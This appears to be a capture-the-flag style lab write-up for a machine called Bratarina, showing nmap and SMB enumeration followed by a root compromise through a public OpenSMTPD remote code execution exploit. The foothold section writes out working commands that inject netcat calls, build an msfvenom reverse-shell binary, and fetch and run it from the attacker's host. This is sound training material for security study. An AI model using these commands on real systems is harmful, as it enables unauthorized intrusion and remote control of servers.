Bratarina

Nmap

```
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol
2.0)
| ssh-hostkey:
|   2048 db:dd:2c:ea:2f:85:c5:89:bc:fc:e9:a3:38:f0:d7:50 (RSA)
|   256 e3:b7:65:c2:a7:8e:45:29:bb:62:ec:30:1a:eb:ed:6d (ECDSA)
|_  256 d5:5b:79:5b:ce:48:d8:57:46:db:59:4f:cd:45:5d:ef (ED25519)
25/tcp  open  smtp        OpenSMTPD
| smtp-commands: bratarina Hello nmap.scanme.org [192.168.49.172], pleased to meet
you, 8BITMIME, ENHANCEDSTATUSCODES, SIZE 36700160, DSN, HELP
|_ 2.0.0 This is OpenSMTPD 2.0.0 To report bugs in the implementation, please
contact bugs@openbsd.org 2.0.0 with full details 2.0.0 End of HELP info
80/tcp  open  http        nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title:         Page not found - FlaskBB
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: COFFEECORP)
Service Info: Host: bratarina; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h19m55s, deviation: 2h18m36s, median: -6s
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2022-10-05T00:33:14
|_  start_date: N/A
| smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: bratarina
|   NetBIOS computer name: BRATARINA\x00
|   Domain name: \x00
```

```
|   FQDN: bratarina
|_  System time: 2022-10-04T20:33:16-04:00
```

Found users from enum4linux

```
+] Enumerating users using SID S-1-22-1 and logon username '', password ''

S-1-22-1-1000 Unix User\neil (Local User)
S-1-22-1-1001 Unix User\_smtpd (Local User)
S-1-22-1-1002 Unix User\_smtpq (Local User)
```

We also find a backup NFS share

```
[+] Attempting to map shares on 192.168.172.71

//192.168.172.71/backups        Mapping: OK Listing: OK Writing: N/A
```

Foothold & Privesc

We will use this exploit which allows us to run commands via STMP

```
OpenSMTPD 6.6.1 - Remote Code Execution                                 |
linux/remote/47984.py
```

Testing our listener

```
python3 47984.py 192.168.172.71 25 'nc 192.168.49.172 80'
```

And we get a call back but with no shell, we can leverage this to upload a reverse shell.

```
┌──(root㉿kali)-[~/pg/practice/Bratarina]
└─# nc -lvnp 80
listening on [any] 80 ...
connect to [192.168.49.172] from (UNKNOWN) [192.168.172.71] 43706
Return-Path: <;nc 192.168.49.172 80;@bratarina>
Delivered-To: root@bratarina
Received: from x (<unknown> [192.168.49.172])
        by bratarina (OpenSMTPD) with SMTP id 59520c1c
        for <root@bratarina>;
        Thu, 6 Oct 2022 02:43:40 +0000 (UTC)

xxx
```

```
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.172 LPORT=80 -f elf >
evil.elf
```

Uploading our reverse shell.

```
python3 47984.py 192.168.172.71 25 'wget 192.168.49.172/evil.elf -o /tmp/evil.elf'
```

Changing the permissions

```
python3 47984.py 192.168.172.71 25 'chmod +x /tmp/evil.elf'
```

Executing for a root shell.

```
python3 47984.py 192.168.172.71 25 '/tmp/evil.elf'
```